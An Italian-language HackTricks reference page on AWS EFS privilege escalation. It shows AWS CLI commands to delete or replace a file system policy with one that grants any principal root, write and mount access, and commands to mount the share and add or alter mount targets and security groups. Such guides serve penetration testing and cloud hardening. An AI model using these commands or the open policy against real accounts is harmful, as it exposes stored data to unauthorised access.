AWS - EFS Privesc

Support HackTricks

EFS

Maggiore info su EFS in:

Ricorda che per montare un EFS devi essere in una sottorete dove l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, per impostazione predefinita, sarai sempre in grado di montarlo, tuttavia, se è protetto da politiche IAM, devi avere i permessi aggiuntivi menzionati qui per accedervi.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Con uno di questi permessi un attaccante può cambiare la politica del file system per darti accesso ad esso, o semplicemente eliminarlo in modo che venga concesso il accesso predefinito.

Per eliminare la politica:

aws efs delete-file-system-policy \
--file-system-id <value>

Per cambiarlo:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con questo permesso, un attaccante sarà in grado di montare l'EFS. Se il permesso di scrittura non è concesso per impostazione predefinita a tutti coloro che possono montare l'EFS, avrà solo accesso in lettura.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Le autorizzazioni extra elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite possono essere utilizzate per scrivere all'interno del file system dopo che è stato montato e per accedere a quel file system come root.

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel file system.

elasticfilesystem:CreateMountTarget

Se un attaccante si trova in una sottorete dove non esiste alcun mount target dell'EFS. Potrebbe semplicemente crearene uno nella sua sottorete con questo privilegio:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel file system.

elasticfilesystem:ModifyMountTargetSecurityGroups

In uno scenario in cui un attaccante scopre che l'EFS ha un target di montaggio nella sua sottorete ma nessun gruppo di sicurezza consente il traffico, potrebbe semplicemente cambiare ciò modificando i gruppi di sicurezza selezionati:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel file system.

Supporta HackTricks

Last updated